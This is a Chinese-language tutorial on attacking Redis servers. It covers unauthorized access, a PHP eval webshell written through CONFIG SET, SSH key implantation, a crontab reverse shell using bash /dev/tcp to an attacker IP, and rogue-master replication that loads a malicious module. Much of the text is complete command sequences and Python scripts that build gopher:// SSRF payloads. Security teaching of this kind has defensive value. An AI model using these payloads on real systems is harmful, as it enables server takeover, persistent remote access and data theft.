Redis 多維度角度下的攻擊面

0X00 前言

Redis是一個使用C編寫的、基於記憶體的鍵值對儲存資料庫。由於資料被儲存在記憶體中,所以擁有極快的資料儲存和讀取速度,很多應用場合都用到了Redis資料庫。Redis出現了很多安全問題,今天我們就Redis的安全問題進行下探討!

0X01 初識Redis

Redis的使用非常簡單,我們只需要在終端輸入rediscli,就可以進入Redis的互動模式。使用set,get命令進行資料庫的儲存和查詢。

Redis 多維度角度下的攻擊面

我們也可以直接nc連線到6379埠進行操作

Redis 多維度角度下的攻擊面

這就意味著如果我們可以直接或者間接透過控制某個程式訪問到6379埠,並且能控制部分訪問內容,就可能實現任意命令執行。

Redis相關的學習可到合天網安實驗室操作實驗——

Redis資料庫安全實踐

本課程將對Redis資料庫及其安全攻防實踐進行詳細介紹,即使從未使用過Redis你的也將會對其基本操作和安全特性有一個完美的認知。

0X02 Redis攻擊面分析

1. Redis未授權訪問的攻擊方法

Redis未授權訪問的攻擊由來已久,在配置錯誤的情況下,Redis被繫結在0。0。0。0或者暴露在公網的情況下。這個時候任何人都可以在未授權的情況下,對Redis資料庫進行操作!預設安裝的情況下,Redis是沒有密碼的。

常見的未授權攻擊手段有下面幾種,大多實際場景中都要與SSRF配合使用,因為現在直接暴露在公網的未授權攻擊的情況越來越少了。

注:如果內網中的Redis存在未授權訪問漏洞,當Redis服務以root許可權執行時,利用gopher協議攻擊內網中的Redis,透過寫入定時任務可以實現反彈shell,相關的學習可到合天網安實驗室操作實驗——

SSRF漏洞進階實踐-攻擊內網Redis。

2. Redis裡儲存的序列化資料利用

Redis中經常會儲存各種序列化後的資料。Python相關的站點就可能將經過Pickle、Yaml序列化後的資料儲存在 Redis 裡。還有一些快取的庫可能就直接選擇序列化後存入 Redis 中。

當Redis存在未授權攻擊時,攻擊者可以透過直接修改 Redis 中序列化後的資料,改為惡意payload。等待相關的程式讀取該資料並反序列化該資料,反序列化時就會造成命令執行。

案例參考:留言或私信獲取連結

3. 使用絕對路徑寫webshell

這個應用場景存在較多。Redis可以透過config命令向固定路徑的檔案寫入內容,這個功能被利用來向指定檔案寫入惡意內容,特別是當你的Redis是以root許可權執行的情況下,這個危害禍害無窮!我們可以透過下面的命令組合實現寫shell的功能

flushall

set 1 ‘<?php eval($_GET[“123”]);?>’

config set dir /var/www/html

config set dbfilename kale。php

save

Redis 多維度角度下的攻擊面

Redis 多維度角度下的攻擊面

在實際場景中通常結合SSRF漏洞,如果支援Gopher協議則可以結合Gopher協議傳送GET,POST請求。Gopher協議的功能和http相似,只不過它更早所以現在應用場景少了很多。

在進行之前,要把資料格式進行轉換,因為Redis使用的RESP協議通訊的,所以我們要把資料格式轉換為RESP資料包相應的格式:https://redis。io/topics/protocol

我們使用下面的指令碼進行轉換

import urllib

protocol=“gopher://”

ip=“目標ip”

port=“6379”

shell=“\n\n<?php eval($_GET[\”kale\“]);?>\n\n”

filename=“kale。php”

path=“/var/www/html”

passwd=“”

cmd=[“flushall”,

“set 1 {}”。format(shell。replace(“ ”,“${IFS}”)),

“config set dir {}”。format(path),

“config set dbfilename {}”。format(filename),

“save”

if passwd:

cmd。insert(0,“AUTH {}”。format(passwd))

payload=protocol+ip+“:”+port+“/_”

def redis_format(arr):

CRLF=“\r\n”

redis_arr = arr。split(“ ”)

cmd=“”

cmd+=“*”+str(len(redis_arr))

for x in redis_arr:

cmd+=CRLF+“$”+str(len((x。replace(“${IFS}”,“ ”))))+CRLF+x。replace(“${IFS}”,“ ”)

cmd+=CRLF

return cmd

if __name__==“__main__”:

for x in cmd:

payload += urllib。quote(redis_format(x))

print payload

Redis 多維度角度下的攻擊面

利用curl傳送我們的資料包

我們直接傳送會失敗,因為現在新版的redis為了安全預設安裝是繫結本地ip的,並且配置了安全模式

Redis 多維度角度下的攻擊面

我們修改為本地ip

Redis 多維度角度下的攻擊面

成功寫入

Redis 多維度角度下的攻擊面

4. Redis寫SSH公鑰

如果你滲透的環境的Redis的是以root許可權執行的,並且。ssh目錄存在,我們可以嘗試寫入~/。ssh/authorized_keys,如果不存在的話,可以使用crontab建立。

想要成功寫入還需要兩個配置,一個是關閉保護模式protected-mode no,如果開啟保護模式的話,未經認證的使用者是不允許執行惡意命令的。

首先在自己的電腦生成公鑰對,這裡未設定ssh密碼

ssh-keygen -t rsa

cd /root/。ssh/

(echo -e “\n\n”; cat id_rsa。pub; echo -e “\n\n”) > temp。txt

Redis 多維度角度下的攻擊面

把公鑰寫入目標機器的快取

cat /root/。ssh/temp。txt | redis-cli -h 192。168。23。176 -x set xxx

我們可以使用以下命令組合寫SSH公鑰

config set dir /root/。ssh/

config set dbfilename authorized_keys

save

Redis 多維度角度下的攻擊面

嘗試無密碼連線

Redis 多維度角度下的攻擊面

轉化為RESP協議格式,並且使用gopher協議

import urllib

protocol=“gopher://”

ip=“目標ip”

port=“6379”

ssh_pub=“\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFHnxKTU8is9f23Rm3+Sr3GgTlZJJXEgSRwIbRcQqEdLWxAIr6xiWFMAisuvnXC+6MKyn3Eg1FQBs9po2xeN5CtlVOG3M2IQVSTMD/PJI+bQ/i7cP47MjlHontrDgUKSN3iV1vHwT4r07f9+5o0D/F4QuyTQa5bSWTuA/nh6au27Kk/JssIVqaErLEyJelE9XdYjYUMNZfK0WetF7+kjCKkbsVEN4vJl9LPHud5fclevC/Jeshcgopiy+eToBgF9N5DiScmGysB4QQW9sEGN+/BYjn6rnY8U6GJ/2vMPk+nRpryCNP/EPN2u+noUfG0NlviScmlgf3y5uM4So75BFB root@kali\n\n”

filename=“authorized_keys”

path=“/root/。ssh/”

passwd=“”

cmd=[“flushall”,

“set 1 {}”。format(ssh_pub。replace(“ ”,“${IFS}”)),

“config set dir {}”。format(path),

“config set dbfilename {}”。format(filename),

“save”

if passwd:

cmd。insert(0,“AUTH {}”。format(passwd))

payload=protocol+ip+“:”+port+“/_”

def redis_format(arr):

CRLF=“\r\n”

redis_arr = arr。split(“ ”)

cmd=“”

cmd+=“*”+str(len(redis_arr))

for x in redis_arr:

cmd+=CRLF+“$”+str(len((x。replace(“${IFS}”,“ ”))))+CRLF+x。replace(“${IFS}”,“ ”)

cmd+=CRLF

return cmd

if __name__==“__main__”:

for x in cmd:

payload += urllib。quote(redis_format(x))

print payload

生成payload

Redis 多維度角度下的攻擊面

嘗試連線

Redis 多維度角度下的攻擊面

5. 使用contrab計劃任務反彈shell

這種方法由於許可權問題,通常只能在Centos使用,Ubuntu卻不行。因為預設redis寫檔案後是644的許可權,但ubuntu要求執行定時任務檔案許可權必須是600,否則會報錯。而Centos的定時任務執行,許可權為644也可以。

Centos的定時任務檔案在/var/spool/cron/,另外/etc/crontab這個檔案雖然也可以執行定時任務,但是需要root,在高版本的Redis中,預設啟動是以Redis許可權執行的。

可以透過下列命令組合,來實現反彈shell

set 1 ‘\n\n*/1 * * * * bash -i >& /dev/tcp/192。168。23。176/4444 0>&1\n\n’

config set dir /var/spool/cron/

config set dbfilename root

save

轉化為redis RESP協議格式

import urllib

protocol=“gopher://”

ip=‘192。168。23。66’

port=‘6379’

reverse_ip=“192。168。23。176”

reverse_port=“4444”

cron=“\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n”%(reverse_ip,reverse_port)

filename=“root”

path=“/var/spool/cron”

passwd=“”

cmd=[“flushall”,

“set 1 {}”。format(cron。replace(“ ”,“${IFS}”)),

“config set dir {}”。format(path),

“config set dbfilename {}”。format(filename),

“save”

if passwd:

cmd。insert(0,“AUTH {}”。format(passwd))

payload=protocol+ip+“:”+port+“/_”

def redis_format(arr):

CRLF=“\r\n”

redis_arr = arr。split(“ ”)

cmd=“”

cmd+=“*”+str(len(redis_arr))

for x in redis_arr:

cmd+=CRLF+“$”+str(len((x。replace(“${IFS}”,“ ”))))+CRLF+x。replace(“${IFS}”,“ ”)

cmd+=CRLF

return cmd

if __name__==“__main__”:

for x in cmd:

payload += urllib。quote(redis_format(x))

print payload

生成payload,並打過去

Redis 多維度角度下的攻擊面

0X03 未授權攻擊面臨的問題

上面三種方式主要利用了crontab、ssh key、webshell這樣的檔案都有一定容錯性,再加上crontab和ssh服務可以說是伺服器的標準的服務,所以在以前,這種透過寫入檔案的getshell方式基本就可以說是很通殺了。

但是隨著發展,docker興起,而docker服務部署模式越發朝著元件化發展。一個單一redis服務的docker,可能除了Redis服務什麼都沒有。這種情況下就算Redis是root許可權執行,這一系列寫shell的操作也不能實現。更何況往往還有嚴格的許可權限制。

0X04 透過主從複製 GetShell

1. 主從複製

Redis提供了主從模式,主從模式就是指使用一個redis例項作為主機,其他例項都作為備份機,其中主機和從機資料相同,而從機只負責讀,主機只負責寫,透過讀寫分離可以大幅度減輕流量的壓力,算是一種透過犧牲空間來換取效率的緩解方式。

主從複製,是指將一臺Redis伺服器的資料,複製到其他的Redis伺服器。前者稱為主節點(master),後者稱為從節點(slave);資料的複製是單向的,只能由主節點到從節點。

建立主從節點,只需要操作從節點即可,主節點,不需要任何設定。

我在一臺主機上開啟了兩個Redis例項,一個埠為6379,一個為6860。

Redis 多維度角度下的攻擊面

我們使用SLAVEOF命令將主節點的ip設定為127。0。0。1,埠為6860

Redis 多維度角度下的攻擊面

以上就是主從複製的過程,從節點同步複製了主節點的資料,並且完成了向用戶讀的功能

2. Redis模組功能

在Reids 4。x之後,Redis新增了模組功能,透過外部拓展,可以實現在redis中實現一個新的Redis命令,透過寫c語言並編譯出。so檔案。Redis模組是動態庫,可以在啟動時或使用MODULE LOAD命令載入到Redis中。是不是想到了so注入的操作。

編寫惡意so檔案的程式碼,來自github

留言或私信獲取連結哦

3. 原理介紹

Pavel Toporkov在2018年的zeronights會議上分享了漏洞的原理, PPT如下:

https://2018。zeronights。ru/wp-content/uploads/materials/15-redis-post-exploitation。pdf

Redis 多維度角度下的攻擊面

當在兩個Redis例項設定主從模式的時候,Redis的主節點例項可以透過FULLRESYNC(全量複製)同步檔案到從機上。我們可以在從節點上載入so檔案,我們就可以執行拓展的新命令了。

4. 漏洞復現

我們使用模擬的惡意主節點來作為主機,並模擬fullresync(全量複製)請求。就可以把so檔案載入到從節點上,即我們攻擊的主機!

使用指令碼:https://github。com/LoRexxar/redis-rogue-server

使用本機的例項進行測試

Redis 多維度角度下的攻擊面

然後連線例項就可以執行命令

Redis 多維度角度下的攻擊面